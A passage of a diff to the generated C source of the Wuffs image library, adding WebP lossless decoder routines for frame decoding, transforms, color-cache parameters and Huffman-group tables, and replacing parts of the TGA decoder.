++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func webp.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_frame( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_has_more = 0; ++ uint32_t v_width = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ wuffs_base__slice_u8 v_tile_data = {0}; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__slice_u8 v_pix = {0}; ++ uint32_t v_which = 0; ++ uint32_t v_transform_type = 0; ++ uint64_t v_ti = 0; ++ uint64_t v_tj = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_width = self->private_data.s_do_decode_frame.v_width; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_webp__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ self->private_impl.f_seen_transform[0u] = false; ++ self->private_impl.f_seen_transform[1u] = false; ++ self->private_impl.f_seen_transform[2u] = false; ++ self->private_impl.f_seen_transform[3u] = false; ++ self->private_impl.f_n_transforms = 0u; ++ while (true) { ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_has_more = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_has_more == 0u) { ++ break; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_transform(self, a_src, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ v_width = self->private_impl.f_width; ++ if (self->private_impl.f_seen_transform[3u]) { ++ v_width = self->private_impl.f_color_indexing_width; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_overall_color_cache_bits = self->private_impl.f_color_cache_bits; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ status = wuffs_webp__decoder__decode_hg_table(self, a_src, v_width, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_color_cache_bits = self->private_impl.f_overall_color_cache_bits; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, self->private_impl.f_overall_n_huffman_groups); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ while (true) { ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_color_indexing)) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))) || ++ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || ++ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len))) || ++ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_dst = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_color_indexing)), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))); ++ v_tile_data = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_webp__decoder__decode_pixels(self, ++ v_dst, ++ a_src, ++ v_width, ++ self->private_impl.f_height, ++ v_tile_data, ++ self->private_impl.f_overall_tile_size_log2); ++ v_status = t_1; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ } ++ if (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_pix = wuffs_base__slice_u8__subslice_j(a_workbuf, ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))); ++ v_which = self->private_impl.f_n_transforms; ++ while (v_which > 0u) { ++ v_which -= 1u; ++ v_transform_type = ((uint32_t)(self->private_impl.f_transform_type[v_which])); ++ v_tile_data = wuffs_base__utility__empty_slice_u8(); ++ if (v_transform_type < 2u) { ++ v_ti = ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])); ++ v_tj = ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)])); ++ if ((v_ti <= v_tj) && (v_tj <= ((uint64_t)(a_workbuf.len)))) { ++ v_tile_data = wuffs_base__slice_u8__subslice_ij(a_workbuf, v_ti, v_tj); ++ } ++ } ++ if (v_transform_type == 0u) { ++ wuffs_webp__decoder__apply_transform_predictor(self, v_pix, v_tile_data); ++ } else if (v_transform_type == 1u) { ++ wuffs_webp__decoder__apply_transform_cross_color(self, v_pix, v_tile_data); ++ } else if (v_transform_type == 2u) { ++ wuffs_webp__decoder__apply_transform_subtract_green(self, v_pix); ++ } else { ++ wuffs_webp__decoder__apply_transform_color_indexing(self, v_pix); ++ v_width = self->private_impl.f_width; ++ } ++ } ++ v_status = wuffs_webp__decoder__swizzle(self, a_dst, v_pix, a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_width = v_width; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.decode_transform ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_transform( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_c8 = 0; ++ uint32_t v_transform_type = 0; ++ uint32_t v_tile_size_log2 = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_transform; ++ if (coro_susp_point) { ++ v_transform_type = self->private_data.s_decode_transform.v_transform_type; ++ v_tile_size_log2 = self->private_data.s_decode_transform.v_tile_size_log2; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_n_bits < 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (self->private_impl.f_n_bits >= 2u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_transform_type = (self->private_impl.f_bits & 3u); ++ self->private_impl.f_bits >>= 2u; ++ self->private_impl.f_n_bits -= 2u; ++ if (self->private_impl.f_seen_transform[v_transform_type] || (self->private_impl.f_n_transforms >= 4u)) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_transform); ++ goto exit; ++ } else if (self->private_impl.f_seen_transform[3u]) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_transform_after_color_indexing_transform); ++ goto exit; ++ } ++ self->private_impl.f_seen_transform[v_transform_type] = true; ++ self->private_impl.f_transform_type[self->private_impl.f_n_transforms] = ((uint8_t)(v_transform_type)); ++ self->private_impl.f_n_transforms += 1u; ++ if (v_transform_type < 2u) { ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_tile_size_log2 = ((self->private_impl.f_bits & 7u) + 2u); ++ self->private_impl.f_transform_tile_size_log2[v_transform_type] = ((uint8_t)(v_tile_size_log2)); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ while (true) { ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_webp__decoder__decode_pixels(self, ++ wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)]))), ++ a_src, ++ ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ } else if (v_transform_type == 2u) { ++ } else { ++ if (self->private_impl.f_n_bits < 8u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (self->private_impl.f_n_bits >= 8u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ self->private_impl.f_color_indexing_palette_size = ((self->private_impl.f_bits & 255u) + 1u); ++ self->private_impl.f_bits >>= 8u; ++ self->private_impl.f_n_bits -= 8u; ++ if (self->private_impl.f_color_indexing_palette_size <= 2u) { ++ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 7u) / 8u); ++ self->private_impl.f_transform_tile_size_log2[3u] = 3u; ++ } else if (self->private_impl.f_color_indexing_palette_size <= 4u) { ++ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 3u) / 4u); ++ self->private_impl.f_transform_tile_size_log2[3u] = 2u; ++ } else if (self->private_impl.f_color_indexing_palette_size <= 16u) { ++ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 1u) / 2u); ++ self->private_impl.f_transform_tile_size_log2[3u] = 1u; ++ } else { ++ self->private_impl.f_color_indexing_width = self->private_impl.f_width; ++ self->private_impl.f_transform_tile_size_log2[3u] = 0u; ++ } ++ if (self->private_impl.f_width >= self->private_impl.f_color_indexing_width) { ++ self->private_impl.f_workbuf_offset_for_color_indexing = (4u * (self->private_impl.f_width - self->private_impl.f_color_indexing_width) * self->private_impl.f_height); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_webp__decoder__decode_pixels(self, ++ wuffs_base__make_slice_u8(self->private_data.f_palette, (4u * self->private_impl.f_color_indexing_palette_size)), ++ a_src, ++ self->private_impl.f_color_indexing_palette_size, ++ 1u, ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ wuffs_private_impl__bulk_memset(&self->private_data.f_palette[(4u * self->private_impl.f_color_indexing_palette_size)], (1024u - (4u * self->private_impl.f_color_indexing_palette_size)), 0u); ++ v_p = wuffs_base__make_slice_u8(self->private_data.f_palette, (4u * self->private_impl.f_color_indexing_palette_size)); ++ while (((uint64_t)(v_p.len)) >= 8u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_p.ptr[4u] += v_p.ptr[0u]; ++ v_p.ptr[5u] += v_p.ptr[1u]; ++ v_p.ptr[6u] += v_p.ptr[2u]; ++ v_p.ptr[7u] += v_p.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_p = wuffs_base__slice_u8__subslice_i(v_p, 4u); ++ } ++ } ++ ++ ok: ++ self->private_impl.p_decode_transform = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_transform = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_transform.v_transform_type = v_transform_type; ++ self->private_data.s_decode_transform.v_tile_size_log2 = v_tile_size_log2; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.decode_color_cache_parameters ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_color_cache_parameters( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_use_color_cache = 0; ++ uint32_t v_color_cache_bits = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_color_cache_parameters; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_use_color_cache = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ self->private_impl.f_color_cache_bits = 0u; ++ if (v_use_color_cache != 0u) { ++ if (self->private_impl.f_n_bits < 4u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_color_cache_bits = (self->private_impl.f_bits & 15u); ++ self->private_impl.f_bits >>= 4u; ++ self->private_impl.f_n_bits -= 4u; ++ if ((v_color_cache_bits < 1u) || (11u < v_color_cache_bits)) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_color_cache); + goto exit; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ self->private_impl.f_color_cache_bits = v_color_cache_bits; + } + ++ goto ok; + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_decode_color_cache_parameters = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_decode_color_cache_parameters = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func tga.decoder.do_decode_frame ++// -------- func webp.decoder.decode_hg_table + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame( +- wuffs_tga__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_webp__decoder__decode_hg_table( ++ wuffs_webp__decoder* self, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++ uint32_t a_width, ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + + wuffs_base__status v_status = wuffs_base__make_status(NULL); +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint32_t v_dst_x = 0; +- uint32_t v_dst_y = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_dst_start = 0; +- wuffs_base__slice_u8 v_src_palette = {0}; +- uint64_t v_mark = 0; +- uint64_t v_num_pixels64 = 0; +- uint32_t v_num_pixels32 = 0; +- uint32_t v_lit_length = 0; +- uint32_t v_run_length = 0; +- uint64_t v_num_dst_bytes = 0; +- uint32_t v_num_src_bytes = 0; +- uint32_t v_c = 0; +- uint32_t v_c5 = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_use_hg_table = 0; ++ uint32_t v_tile_size_log2 = 0; ++ wuffs_base__slice_u8 v_hg_pixels = {0}; ++ uint64_t v_n = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ uint32_t v_hg_plus_1 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -59974,276 +75034,155 @@ wuffs_tga__decoder__do_decode_frame( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_hg_table; + if (coro_susp_point) { +- v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel; +- v_dst_x = self->private_data.s_do_decode_frame[0].v_dst_x; +- v_dst_y = self->private_data.s_do_decode_frame[0].v_dst_y; +- v_mark = self->private_data.s_do_decode_frame[0].v_mark; +- v_num_pixels32 = self->private_data.s_do_decode_frame[0].v_num_pixels32; +- v_lit_length = self->private_data.s_do_decode_frame[0].v_lit_length; +- v_run_length = self->private_data.s_do_decode_frame[0].v_run_length; +- v_num_dst_bytes = self->private_data.s_do_decode_frame[0].v_num_dst_bytes; ++ v_tile_size_log2 = self->private_data.s_decode_hg_table.v_tile_size_log2; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_tga__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_use_hg_table = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_use_hg_table == 0u) { ++ self->private_impl.f_overall_n_huffman_groups = 1u; ++ self->private_impl.f_overall_tile_size_log2 = 0u; ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; + } +- if (status.repr) { +- goto suspend; ++ v_hg_pixels = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); ++ if (((uint64_t)(v_hg_pixels.len)) >= 4u) { ++ v_hg_pixels.ptr[0u] = 0u; ++ v_hg_pixels.ptr[1u] = 0u; ++ v_hg_pixels.ptr[2u] = 0u; ++ v_hg_pixels.ptr[3u] = 0u; + } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ status = wuffs_base__make_status(NULL); + goto ok; + } +- if (self->private_impl.f_header_color_map_type != 0u) { +- v_src_palette = wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024); +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), +- v_src_palette, +- a_blend); +- if ( ! 